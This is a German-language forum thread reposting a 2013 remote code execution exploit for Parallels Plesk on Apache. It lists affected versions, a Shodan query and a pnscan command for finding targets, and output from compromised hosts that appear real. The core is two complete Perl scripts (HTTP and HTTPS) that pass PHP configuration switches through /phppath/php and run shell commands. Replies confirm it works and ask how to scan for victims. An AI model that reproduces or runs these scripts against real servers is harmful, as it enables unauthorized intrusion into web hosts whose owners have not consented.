2 replies to this topic

[Bloodman]

Plesk Apache Zeroday Remote Exploit

Information:
Parallels Plesk Remote Exploit -- PHP Code Execution and therefore Command Execution
Affected and tested: Plesk 9.5.4
Plesk 9.3
Plesk 9.2
Plesk 9.0
Plesk 8.6

Discovered & Exploited by Kingcope / June 2013
Affected and tested OS: RedHat, CentOS, Fedora
Affected and tested Platforms: Linux i386, Linux x86_64
Untested OS: Windows (php.exe?)
Unaffected: 11.0.9 due to compiled in protection of PHP version
Traces in /var/log/httpd/access_log: 192.168.74.142 - - [19/Mar/2013:18:59:41 +0100] "POST /%70%68%70%70%61%74%68/%70%68%70?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%
6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%
62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%
3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E HTTP/1.1" 200 203 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
Shodanhq overview of Plesk on Linux:
http://www.shodanhq.com/search?q=plesklin

perl plesk-simple.pl <ip address>
...
...
...
OK
Linux ip.unsecure.net 2.6.18-028stab101.1 #1 SMP Sun Jun 24
19:50:48 MSD 2012 i686 i686 i386 GNU/Linux
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)
---
./pnscan -w"GET /phppath/php HTTP/1.0\r\n\r\n" -r "500 Internal" 76.12.54.163/16 80
perl plesk-simple.pl 76.12.81.206
HTTP/1.1 200 OK
Date: Sat, 16 Mar 2013 13:39:35 GMT
Server: Apache/2.2.3 (CentOS)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

77
Linux 114114.unsecureweb.com 2.6.18-308.24.1.el5 #1 SMP Tue Dec 4 17:43:34 E
ST 2012 x86_64 x86_64 x86_64 GNU/Linux

3e
uid=48(apache) gid=48(apache) groups=48(apache),2521(psaserv)

0

perl plesk-simple-ssl.pl <ip> (use HTTPS because HTTP gave an internal server error)
HTTP/1.1 200 OK
Date: Tue, 19 Mar 2013 15:29:28 GMT
Server: Apache/2.0.54 (Fedora)
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html

3
OK

60
Linux www.ucdavis.edu 2.6.17-1.2142_FC4 #1 Tue Jul 11 22:41:14 EDT 2006 i686 i686 i386 GNU/Linux

4c
uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2522(psaserv)

0



use IO::Socket;
use URI::Escape;
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
							 PeerPort => 80,
							 Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
		 ."Host: $ARGV[0]\r\n"
		 ."Content-Type: application/x-www-form-urlencoded\r\n"
		 ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
	 print;
}

use IO::Socket::SSL;
use URI::Escape;
$sock = IO::Socket::SSL->new(PeerAddr => $ARGV[0],
							 PeerPort => 443,
							 Proto => 'tcp');
$pwn = '<?php echo "Content-Type:text/html\r\n\r\n";echo "OK\n";system("uname -a;id;"); ?>';
$arguments = uri_escape("-d","\0-\377"). "+" .
uri_escape("allow_url_include=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("safe_mode=off","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("suhosin.simulation=on","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("disable_functions=\"\"","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("open_basedir=none","\0-\377"). "+" .
uri_escape("-d","\0-\377"). "+" .
uri_escape("auto_prepend_file=php://input","\0-\377"). "+" .
uri_escape("-n","\0-\377");
$path = uri_escape("phppath","\0-\377") . "/" . uri_escape("php","\0-\377");
print $sock "POST /$path?$arguments HTTP/1.1\r\n"
		 ."Host: $ARGV[0]\r\n"
		 ."Content-Type: application/x-www-form-urlencoded\r\n"
		 ."Content-Length: ". length($pwn) ."\r\n\r\n" . $pwn;
while(<$sock>) {
	 print;
}
#CentOS/Redhat Linux: yum install perl-IO-Socket-SSL.noarch

Download:

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MFG
Bloodman

[XoiL]

Works!

Vielen Dank Blood!

lg

[Bloodman]

HuHu,
vielen dank für deine rückantwort bist ja der erste der dazu etwas schreibt ich wollte dich mal fragen wie genau du danach scannen tust da du es ja auch getestet hast währe cool wenn du rückantwortest ob nun public oder per pm wenn du es nicht unbedingt public schreiben möchtest
ansonsten viel spa?? damit...

MFG
Bloodman